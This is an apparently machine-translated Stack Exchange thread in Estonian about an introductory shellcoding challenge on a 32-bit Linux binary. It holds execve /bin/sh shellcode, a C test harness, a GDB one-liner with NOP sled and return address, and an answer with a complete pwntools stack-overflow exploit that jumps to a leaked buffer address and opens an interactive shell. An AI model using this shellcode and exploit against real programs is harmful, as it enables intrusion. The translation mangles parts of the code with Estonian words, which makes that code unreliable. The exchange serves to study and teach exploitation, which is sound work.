Küsimus:
Shellkoodi väljakutse - shellkood töötab testprogrammis, segfunktsioonid tegelikus kahendkoodis
BronzeOtter
2018-06-09 22:18:17 UTC
view on stackexchange narkive permalink

Töötan praegu sissejuhatava shellkodeerimise väljakutsega ja mul on probleeme kestakoodi järjepidevaks töötamiseks.

Töötan 32-bitise Linuxi binaarkaardi kallal. Leidsin selle kestakoodi:

http://shell-storm.org/shellcode/files/shellcode-827.php

  xor% eax,% eaxpush% eaxpush $ 0x68732f2fpush $ 0x6e69622fmov% esp,% ebxpush% eaxpush% ebxmov% esp,% ecxmov $ 0xb,% alint $ 0x80  

Esimese sammuna jooksin kestakood lihtsas testprogrammis:

  # include<stdio.h> # include<string.h>allkirjastamata kood [] = \ "\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x2f \ x62 \ x69 "" \ x6e \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 "; main () {printf (" Shellkoodi pikkus:% d \ n ", strlen ( kood)); int (* ret) () = (int (*) ()) kood; ret ();}  

Shellcode töötab selles testiprogrammis suurepäraselt. Probleemid algavad siis, kui liigutan shellkoodi tegelikku väljakutse binaarsesse. Võin GDB-s kinnitada, et:

  1. koodi käivitamine suunatakse uuesti virna.
  2. koorekoodikomplekt on virnas õige.
  3. ol >

    Kui aga programmi käivitamine jõuab sellesse kahesse rida koorekoodis:

      0xffffd0e4: push% ebx0xffffd0e5: mov% esp,% ecx  

    Saan:

      SIGSEGV, Segmenteerimisviga  

    Minu küsimus on: miks testprogrammis töötav shellikood tõelises binaarses failis ebaõnnestub? Kuidas ma selle tõrkeotsinguga tegeleksin?

    Aitäh!

Kas saate binaarset jagada?
Is the stack of the binary is executable? We won't be able to tell you the exact problem without the binary itself.
AilitsmevhCMTłŁukasik Thank you so much for taking a look. Here is a link to the binary: https://wetransfer.com/downloads/df24ecc7a3889e062e88bb4a803e270020180610220305/d2c9cea8e3ea65ea48aabced77df9c6e20180610220305/09069b
@MegabeetsThank sina! Jagasite ülaltoodud lingis lihtsalt binaarset faili.
Ma olen selle prügikasti teie shellikoodi abil uurinud ja ei näe probleeme. Kas saate postitada koodi, mis suunab koodi täitmise?
@PawełŁukasik Huvitav! Ja aitäh pilgu eest. Seda koodi kasutan GDB-s: `r <<< $ (python -c" print ('\ x90' * 20) + '\ x31 \ xc0 \ x50 \ x68' + '\ x2f \ x2f \ x73 \ x68 '+' \ x68 \ x2f \ x62 \ x69 '+' \ x6e \ x89 \ xe3 \ x50 '+' \ x53 \ x89 \ xe1 \ xb0 '+' \ x0b \ xcd \ x80 \ x90 '+' \ xc0 \ xd0 \ xff \ xff "") "
üks vastus:
Paweł Łukasik
2018-06-11 22:11:11 UTC
view on stackexchange narkive permalink

Näib, et teil on kaks probleemi.

1) Kirjutate oma sisendpuhvri nende push -idega üle, nii et miks teil on virnas rämps ja see on miks meie rakendus kokku jookseb.

Vaadake neid kahte pilti, mis näitavad teie komplekti enne ja pärast bin / sh teise tõuke käivitamist

Enne enter image description here

Pärast enter image description here

Selle asemel näete selgelt paarituid das ja seotud -koode pushes.

2) Te ei arvesta, et kood on ümber paigutatud, nii et teie puhver pole alati samas kohas. Kui käivitate saidilt gdb , on teil kood, mis hüppab puhvri algusesse (see on osa \ xc0 \ xd0 \ xff \ xff ) ja teie gdb seansid, see on tõsi, kuna gdb lülitab ASLR välja.

Saate seda kontrollida, väljastades selle käsu jaotises gdb:

gdb-peda $ show disable-randomization
silurite virtuaalne aadressiruum on sisse lülitatud.

Kui muudate seda valides lülitage disable-randomization välja , peaks see hakkama ka failis gdb puhver asub iga kord erinevas kohas.

Selleks, et seda õigesti teha, peate leidma puhvri asukoha. Seetõttu on teil ka näpunäide, kus see esimeses sõnumis asub.

Selle kahe probleemi kompenseerimiseks kasutaksin selleks pwntools ja koostaksin skripti:

  pwni impordi * kontekstist (arch = 'i386', os = 'linux') r = process ('./ shellcoding.dms') # loe rida, millel on teavet aadressi kohta l = r.recvline () print l # extract itaddr = int (l [18:], 16) #nop kelk lõpus, kuid tegelikult pole seda vaja. Peame täitma ainult puhvri ruumi retexploit = ​​"\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x50 \ x53" ülekirjutamiseks. \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 "+" \ x90 "* 21 print" Aadress on: "+ hex (addr) # lisage aadressi järgi võetav aadress ret
exploit + = p32 (addr) r.send (exploit + "\ n") # lugege "ok ... laseme vaadata, kas teil on ..." messager.recvline () r.interactive () #pwn  

Selle käivitamine peaks toimima!

Awesome. Thank you, once again, for generously taking the time to help. I had no idea that having the NOPs after the shellcode vs. before the shellcode would have such a big effect. Pwntool code was also great. Was not aware of the p32() functionality, which is very helpful. On to the next one!


See küsimus ja vastus tõlgiti automaatselt inglise keelest.Algne sisu on saadaval stackexchange-is, mida täname cc by-sa 4.0-litsentsi eest, mille all seda levitatakse.
Loading...